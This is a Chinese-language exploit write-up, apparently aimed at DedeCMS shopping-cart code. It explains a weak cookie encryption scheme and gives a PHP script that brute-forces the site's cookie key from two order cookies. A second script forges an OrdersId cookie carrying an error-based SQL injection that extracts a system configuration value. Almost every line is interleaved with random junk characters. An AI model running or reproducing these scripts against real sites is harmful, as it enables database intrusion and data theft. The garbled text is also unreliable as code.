www.xxx.com/plus/search.php?keyword=1 `4 q. i( \; r, Q) F
在 include/shopcar.class.php中# O# K7 V6 X- a7 N( U
先看一下这个shopcar类是如何生成cookie的
7 K* ^0 p) Z) l239 function saveCookie($key,$value)
" p$ K, A1 @ R1 S/ c240 {
' T/ r# f4 \! P9 s: `; j$ Y241 if(is_array($value)): d& }, @7 O) s
242 {& e& V/ C: Q& h8 P0 Y$ E( P
243 $value = $this->enCrypt($this->enCode($value));
6 i+ S8 Y4 e/ ~0 a! j9 M3 j244 }1 l0 g d* j7 M9 h5 |/ o
245 else
4 E) G& ~) T( R246 {
7 a, Z( _- R' _4 O# k247 $value = $this->enCrypt($value);
4 H4 w' h1 ], c248 }
7 N1 M( w) B) z. _6 s! n3 ?/ U7 p249 setcookie($key,$value,time()+36000,’/');# R/ e" B7 H, L" A0 |) R% `. H
250 }
5 w5 [8 W+ J0 E2 I+ |简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数' n* X( z7 J C6 D8 ~$ Z
186 function enCrypt($txt)
3 O" I. _3 l, h4 f H$ V3 b187 {" ^ \! [0 @: N# O: P, p# b. ~
188 srand((double)microtime() * 1000000);
+ S0 \; y6 D' i189 $encrypt_key = md5(rand(0, 32000));
( F+ U7 H. b3 ~' L/ y& \$ l190 $ctr = 0;
+ j! b- s! g* ?' a191 $tmp = ”;
9 q, Q% F- p; [5 }: t192 for($i = 0; $i < strlen($txt); $i++)( j2 X( V* K8 M4 c+ Q3 s
193 {
" ^0 C r j. ~9 |. ^' z4 b194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" h/ \ {) A# x% f0 ?! N
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);- d [8 J# H/ }- q7 C" n
196 }" L# Y6 F% c$ l& j+ Y% k+ T
197 return base64_encode($this->setKey($tmp));
4 s1 }7 E5 i2 L" ?198 }
; E5 n/ `- k4 P( [* \2 y3 ?213 function setKey($txt), k) j' _$ G+ U; ^. L/ G
214 {
4 U: n# j# J5 V4 L, ?, k215 global $cfg_cookie_encode;5 a7 E7 Y' E% N- q/ M8 m
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
`4 o$ y) O* w5 L# o217 $ctr = 0;
2 ~! I7 t- X0 a9 p# \! `. O218 $tmp = ”;
1 ]- Q+ m8 d) S$ v# \5 T219 for($i = 0; $i < strlen($txt); $i++)5 G) S8 V( y1 i# q6 ~3 v: o
220 {
* I0 \- h" h; w/ P& O! |221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;, A; r4 f: l( L C. e& |
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ d$ b3 g" n; A* c223 }' o3 p& ^* p% E b% s
224 return $tmp;
& ]' `9 W0 R. [225 }
' S( U& x* s- L. @7 _ HenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的" ^3 x% g6 e$ s! U' _
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
# `- _: N6 N& R: O具体代码如下:
8 X U* V; E4 y' ^9 ]& n<?php/ A/ S, J7 d3 k1 e& N9 y) u: c; w
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
% E9 O9 S& n/ o6 l& J. s( Y$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
- `) w5 r1 j* Z u$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here7 \( T( }0 L2 O$ ^ z( f
function reStrCode($code,$string)) J1 i4 v' _) S3 x
{, w7 K% ^1 S5 W% X$ @' v: G
$code = base64_decode($code);
o( q* ^+ |& D+ i3 t* D: \5 O$key = “”;" `' {* b D. v: y6 b0 H. s* p
for($i=0 ; $i<32 ; $i++)
% a6 i+ O3 l9 c0 u/ v{
4 D# q6 s1 e$ {+ m1 l$key .= $string[$i] ^ $code[$i];
) U( n, E) o; C l& `# {7 h}2 P* g& K$ u9 K
return $key;8 W1 R p* ]8 `! M
}
* c0 B! a# x: ^6 i- ~+ }function getKeys($cookie,$plantxt)% w( x4 Y/ V" q8 V, S3 ~
{
# v! S( u* A: d6 o$tmp = $cookie;8 |2 S4 `* ?9 R3 u
$results = array();
- b8 h" E+ s& O5 ^$ Sfor($j=0 ; $j < 32000; $j++)$ x$ W0 \. j8 l1 O
{6 O8 p( J. i* E1 f$ r" `
{* P' M( g6 y8 k' u3 z# L$txt = $plantxt;
* r# ?& Z% J& ]$ctr = 0;8 j4 V/ J6 y" @7 \' V: K9 G
$tmp = ”;! o: q8 _6 C* o8 A* X) P3 W" T
$encrypt_key = md5($j);7 L: f% z* O2 {' ?" v
for($i =0; $i < strlen($txt); $i ++)5 }: A6 n. Q+ d0 B1 M' z! V7 u
{7 @' ?+ R8 M" C3 u
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" g+ O2 n* K; U4 Q& U- A V. O, X+ L
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);" P2 @; w) B2 X9 C" Q
}, O' d( u' W$ Z
$string = $tmp;7 M7 O: W6 ]' G# u1 [+ L* j
$code = $cookie;
0 F/ W# Q& a) e& g; n; y$result = reStrCode($code,$string);& \ y w& `' ^) Z, U' f
if(eregi(‘^[a-z0-9]+$’,$result))
! o/ B" a: l" |- x3 I{
( k/ B; U6 o9 _! K) G% techo $result.”\n”;
- T( {3 j) c! B5 c, W7 ]% e$results[] = $result;
; z; |3 x e0 {$ o' ?, c% ~}
: |4 D4 D Z6 J}
5 M) x8 a5 Q/ m$ x* ~" Nreturn $results;
% g8 w1 l/ ?8 }& s! Q$ F7 u$ }}! p8 y. X8 c4 L7 v# A2 Y$ c- @# ?: R
$results1 = getKeys($cookie1,$plantxt);
1 v; m' {. B; m* X" `3 U$results2 = getKeys($cookie2,$plantxt);
9 Z$ P7 c# H' v9 G& x) z8 |9 zprint “\n——————–real key————————–\n”;
; F& G& C/ A! A4 sforeach($results1 as $test1)
1 B& F1 v" H; D# Q3 h* O( ]+ k{
" O E/ n4 `$ P" i- Mforeach($results2 as $test2)
1 ]/ W8 t/ }. n9 r& ~( K3 W& Z{
4 ^7 ?0 t8 ?8 @if($test1 == $test2)7 F p# o- H) m3 I& u7 z) }' `9 {
{2 E# H4 a/ K2 V3 D/ F8 x. L+ g1 N
echo $test1.”\n”;3 h( C+ l; `) I: Z1 ]7 \- g
}
; B9 w( N2 y, X0 h9 {+ R3 Z}' ]" e) e- p4 w4 f2 L+ G
}9 P# w( ^7 A+ p1 W# G3 |
?> M8 g4 M$ p; s: u# A
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,' X7 C2 o& i4 R* H% ]
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
- g4 \6 F. L& F" w然后推算出md5(strtolower($cfg_cookie_encode))
/ p; Q" `# C5 V) v( z5 s( I0 a得到这个key之后,我们就可以构造任意购物车的cookie
9 Q! t/ B( @ U; f8 ]) z接着看5 K: y% C9 i1 _- K
20 class MemberShops
; P7 T# o" d% o0 \! K9 P, u21 {/ `4 Y9 N7 P% n% q. ?
22 var $OrdersId; _( D" e, Q& D4 l
23 var $productsId;
* |: G1 v3 k0 {2 \+ R! Q# \24
0 j* w& e3 Q0 O+ V4 X. R( K' N25 function __construct(). U6 ?+ Y+ K$ u7 k! q
26 {* e P* C7 _# |- k/ e* p8 }
27 $this->OrdersId = $this->getCookie(“OrdersId”);
) k" ~8 \8 T- n4 n28 if(empty($this->OrdersId))
0 G6 h! [# {2 ?29 {( f; F& `. l* |; p4 M
30 $this->OrdersId = $this->MakeOrders();
. L+ ^/ I0 o0 ]5 Q5 s# N* p31 }
3 g% z# I" b+ a8 E6 I4 H$ @32 }
0 n; L; k& \& \* u; m) v! F, }发现OrderId是从cookie里面获取的
+ e$ a2 e1 N; b+ q+ }6 z0 k然后, n& V* W& D9 c* w! L
/plus/carbuyaction.php中的' H" ?- o) n8 H" E
29 $cart = new MemberShops();
8 H, R& j8 \0 _39 $OrdersId = $cart->OrdersId; //本次记录的订单号( `+ K- s& B7 K1 m
……+ X1 g% a8 H4 `5 i' N0 v
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″); o5 U+ l4 K8 K2 ~; b! w b
接着我们就可以注入了% J% ]: a! f( g L! e: D7 e
通过利用下面代码生成cookie:
1 i( H6 H% W& G7 L; v- z% }; \8 h' |<?php
& M3 ?& [/ {' t: Q$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;- g5 t5 B D' m" z* Z8 F
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here2 m/ l+ w' B. N- @+ t8 q* P0 Y
function setKey($txt)
7 S7 D% j6 \0 ^{2 x) q& G+ N1 I" W. s6 Z
global $encrypt_key;
3 j' _& s6 s) L/ m$ctr = 0;
D1 W" c3 o/ P A7 Z6 W2 S# h3 t5 h$tmp = ”;! S" J& R3 d) R( f
for($i = 0; $i < strlen($txt); $i++)$ A! b# I6 l, V
{# o* a( ?6 g) L1 h4 Z; p
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
}' b" Y% s( v" ^$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];+ D0 F6 ~5 ]& l+ y4 h
}
0 j# Y0 q9 _7 @; t7 ]return $tmp;0 b, N0 D M' m9 Y$ T) U' x' @5 d$ K d
}$ M# d" @: f. G2 m+ ?9 Y4 R& M9 s1 u: H
function enCrypt($txt)8 ^8 E, E1 t! w3 [
{
9 X+ ?2 y$ Q5 L; X7 d+ x$ }. fsrand((double)microtime() * 1000000);. v, {, z+ {+ p6 \3 U5 `5 R$ x& z) g3 S
$encrypt_key = md5(rand(0, 32000));) P3 d5 e7 O5 B$ a! X8 H
$ctr = 0;! z3 h2 S0 O# L: z
$tmp = ”;
6 J7 e, g0 J2 \( efor($i = 0; $i < strlen($txt); $i++)
( i' [& G1 y! [! U{
- C; d$ g0 ~1 R$ D( F$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 u1 Z' Q2 H; N& E7 _$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
6 z. E: D# o# K4 v, p}. u4 f5 P# U2 s9 W, H
return base64_encode(setKey($tmp));
0 g0 a# c$ F! a* j}) w" C+ p: g; w7 v8 o+ U
for($dest =0;$dest = enCrypt($txt);)5 _' g) F: G0 @1 A7 M8 z* R, L9 ~
{
( V {" J2 _( k* Uif(!strpos($dest,’+'))+ a, X6 f3 _8 M/ Q1 N, p: r
{8 v( Y. z1 h, E2 b/ b& d. l* m
break;$ R% I; ?5 T3 G K7 [$ f
}
5 H* ]7 ~# h1 P- B- V}
. E8 v6 s1 j. _" T. j Iecho $dest.”\n”;
; d+ U$ z, H; i4 n?>1 _5 z/ O' q" M
' i5 F, c" x% f* \; ^* f: p
|